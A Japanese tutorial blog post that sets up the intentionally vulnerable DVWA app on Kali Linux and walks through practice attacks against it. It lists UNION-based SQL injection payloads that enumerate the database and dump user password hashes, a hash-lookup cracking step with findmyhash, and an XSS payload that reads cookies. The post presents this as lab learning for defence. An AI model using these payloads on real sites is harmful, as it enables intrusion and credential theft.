Kali LinuxでDVWAを使いSQLインジェクション体験

　DVWAはPHP,MySQLで構築された脆弱性のあるWebアプリケーションで、
SQLインジェクションやXSS(クロスサイト・スクリプティング)のテスト用に使われます。

今回Kali Linuxを使い、DVWAを構築、SQLインジェクションのテストをするところまで実施します。
攻撃者の方法を知ることで、防御の方法も学んでいければと思います。

## 前提
Kali Linux実行環境があること。
⇒ [Virtual BoxにKali Linuxインストール](https://qiita.com/y-araki-qiita/items/4621a21e9f0d2e38c331)

## DVWA構築
以下よりDVWA-master.zipをダウンロードし、Kali Linuxサーバの任意のディレクトリに転送します。
http://www.dvwa.co.uk

※以下サーバ内、rootでの作業です。

### ファイルを解凍する
```
unzip DVWA-master.zip
```

### 移動して権限を与える
```
cp -Rv /root/DVWA-master /var/www/html
chmod -Rv 777 /var/www/html/DVWA-master
```

### コンフィグを用意
```
cd /var/www/html/DVWA-master/config
mv config.inc.php.dist config.inc.php
```

## Apache,MySQLを起動
```
service apache2 start
service mysql start
```

## MysQLからアカウント登録
```
mysql -uroot -p
Kaliのrootパスワードを入力
use mysql;
grant all privileges on *.* to 'root'@'localhost' identified by 'password';
exit
```

### mysqlに接続できるようにする
```
vi config.inc.php
※以下編集

db_server = '127.0.0.1';
db_database = 'dvwa';
db_user = 'root';
db_password = '設定したパスワード';
```
ブラウザで表示確認
http:/サーバのIP/DVWA-master/

以下表示されます。下部の「Create / Reset Database」ボタンを押してください。
<img width="334" alt="キャプチャ.PNG" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/131627/0ee8f56d-2565-2ece-b25d-335ad97193d4.png">

このログイン画面が出たら構築成功です。
<img width="334" alt="キャプチャ2.PNG" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/131627/daef8e25-74cd-d19a-26cc-54d45fbfcc8d.png">
以下の情報でログインできます。
Username:admin
Password:password

ログインしたら左下「DVWA Security」を押してください。
<img width="524" alt="キャプチャ3.PNG" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/131627/9c1256ff-4196-12d1-d747-c7bec6788ffc.png">

左下ボックスでセキュリティレベルを「Low」にして「Submit」して下さい。
<img width="303" alt="キャプチャ4.PNG" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/131627/66ef5d97-62ba-3d96-bae0-a545b79e71d0.png">

こちらのUser ID入力画面が表示されます。
<img width="311" alt="キャプチャ5.PNG" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/131627/7e105acf-48bc-a245-6f7d-fd30e75c3102.png">

## SQLインジェクション体験
UserIDに1～5までの好きな数字を入れてみると、以下のように表示されます。
<img width="361" alt="キャプチャ6.PNG" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/131627/cb7842de-e5c9-dbbb-d5f2-2d66b3abe509.png">


表示された結果を見て、select XXX from XXX where id = <入力値>のSQLが実行されると推測します。

すべてのフィールドを表示させる、以下SQLインジェクションの典型的なコードを入力してみます。
1' OR 'a'='a
<img width="206" alt="キャプチャ7.PNG" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/131627/981f0193-b953-3188-ffab-dd81d2771b29.png">

これで単純なSQLインジェクションに対する脆弱性があるとわかります。

これからSQLを連結させるunion句の分をボックスに入力し、ユーザのパスワードを表示させるところまでいきます。

### DBシステムのバージョンを取得する
```SQL
' union select version(),null #
```
### ホスト名、DB名、ユーザー名を調べる
```SQL
' union select @@hostname,database() #
' union select user(),'A' #
```
これでdvwaというデータベースを使用していることがわかります。

### テーブル名の一覧を取得する
```SQL
' union select table_name,null from information_schema.tables #
```

### dvwaが用いているテーブルを特定する
```SQL
' union select table_name,table_schema from information_schema.tables where table_schema = 'dvwa' #
```
usersテーブルというのがあってここにユーザ情報が格納されていそうです。

### usersテーブルのカラムを確認
```SQL
' union select table_name,columns_schema from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' #
```
usersテーブルにpasswordというカラムがあることがわかります。

### 
パスワードを出力する

```SQL
' union select user,password from dvwa.users #
passwordに格納されたデータはMD5ハッシュ値ではないかと推測できます。
```

## findmyhashコマンドによるハッシュ値解析
findmyhashコマンドはMD5解析サイトを巡回して元のパスワードを調査するツールです。
以下コマンドで実行できます。

```
findmyhash MD5 -h MD5のハッシュ値
```

## おまけ
深くは解説しないですが、DVWAはXSS(クロスサイトスクリプティング)を試すこともできます。
左メニュー「XSS(Reflected)」より以下を入力してみてください。

```javascript
<script>alert(document.cookie)</script>
```
## 対策
SQLインジェクションに関する対策はネットにもたくさん載っていると思います。
出力のコンテクストを考えたり、プレースホルダであったり。
今回は疑似環境でテストしてみただけですので、SQLインジェクション、XSSの
攻撃と対策について更に調べてみるのもよいかもしれません。

## 関連記事
[・Kali LinuxでJohn The Ripper,hydraによるパスワード解析](https://qiita.com/y-araki-qiita/items/cda417e49108eee1fb7b)
[・Kali LinuxのMetasploitで脆弱性を突きサーバを遠隔操作](https://qiita.com/y-araki-qiita/items/b5e345984d8a076145c8)
[・Kali Linuxを使いMACアドレスを偽装](https://qiita.com/y-araki-qiita/items/c5bbe63422fd14f67325)
[・Kali LinuxでWebクローニングを使いログイン情報取得](https://qiita.com/y-araki-qiita/items/2870354cc97842db0ea3)